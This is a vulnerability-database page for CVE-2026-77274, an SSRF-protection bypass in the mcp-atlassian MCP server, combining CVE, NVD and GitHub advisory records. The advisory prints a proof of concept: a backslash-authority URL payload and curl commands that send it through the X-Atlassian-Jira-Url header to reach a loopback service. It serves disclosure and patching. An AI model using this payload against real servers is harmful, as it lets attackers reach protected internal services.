CVE-2026-77274 (GCVE-0-2026-77274)
Vulnerability from cvelistv5 – Published: 2026-09-22 17:36 – Updated: 2026-09-22 18:32
VLAI
EPSS
VEX
Title
MCP Atlassian: SSRF Protection Bypass
Summary
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-22 18:31 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/sooperset/mcp-atlassian/securi… | x_refsource_CONFIRM |
| https://github.com/sooperset/mcp-atlassian/pull/1448 | x_refsource_MISC |
| https://github.com/sooperset/mcp-atlassian/commit… | x_refsource_MISC |
| https://github.com/sooperset/mcp-atlassian/releas… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| sooperset | mcp-atlassian |
Affected:
< 0.22.0
|
guessed |
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FKIE_CVE-2026-77274
Vulnerability from fkie_nvd - Published: 2026-09-22 18:17 - Updated: 2026-09-23 18:28
Severity
Summary
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.
References
Impacted products
| Vendor | Product | Version |
|---|
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"vendor": "sooperset",
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GHSA-HGCF-4MQ8-5266
Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36
VLAI
Summary
MCP Atlassian: SSRF Protection Bypass
Details
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
The local HTTP server also receives the request, confirming SSRF.
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77274"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:36:22Z",
"nvd_published_at": "2026-09-22T18:17:19Z",
"severity": "HIGH"
},
"details": "## Environment\n\n- Project: `sooperset/mcp-atlassian`\n- Affected function: `validate_url_for_ssrf()`\n- Affected path: header-based Jira/Confluence URL authentication flow\n- Tested endpoint: `POST /mcp`\n- Tested version: `2.14.5`\n\n## Description\n\nThe SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.\n\nAffected code:\n\n```python\nparsed = urlparse(url)\nhostname = parsed.hostname\n...\nip_error = _check_ip_address(hostname)\n...\ndns_error = _check_dns_resolution(hostname)\n```\n\nPayload:\n\n```text\nhttp://127.0.0.1:6666\\@www.baidu.com\n```\n\nFor this input, `urllib.parse.urlparse()` treats the hostname as:\n\n```text\nwww.baidu.com\n```\n\nTherefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:\n\n```text\nhttp://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself\n```\n\nThis allows an attacker-controlled Jira URL to target loopback or internal services.\n\n## Proof of Concept\n\nStart a local HTTP server:\n\n```bash\npython3 -m http.server 6666 --bind 127.0.0.1\n```\n\nStart `mcp-atlassian` with streamable HTTP transport on port `9000`.\n\nInitialize an MCP session with the malicious Jira URL:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}\u0027\n```\n\nSend the initialized notification using the returned `Mcp-Session-Id`:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\u0027\n```\n\nTrigger Jira fetcher creation and token validation:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}\u0027\n```\n\nObserved response:\n\n\u003cimg width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" /\u003e\n\nThe local HTTP server also receives the request, confirming SSRF.\n\n\u003cimg width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" /\u003e\n\n## Root Cause\n\nThe security validation and the actual HTTP request do not use the same URL interpretation.\n\n- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`.\n- For the payload, `parsed.hostname` is `www.baidu.com`.\n- The actual request is sent by the Atlassian client through `requests.Session`.\n- `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.\n\nThis parser mismatch allows a restricted host to be hidden before `\\@`.\n\n## Impact\n\nAn attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.",
"id": "GHSA-hgcf-4mq8-5266",
"modified": "2026-09-22T20:36:22Z",
"published": "2026-09-22T20:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77274"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: SSRF Protection Bypass"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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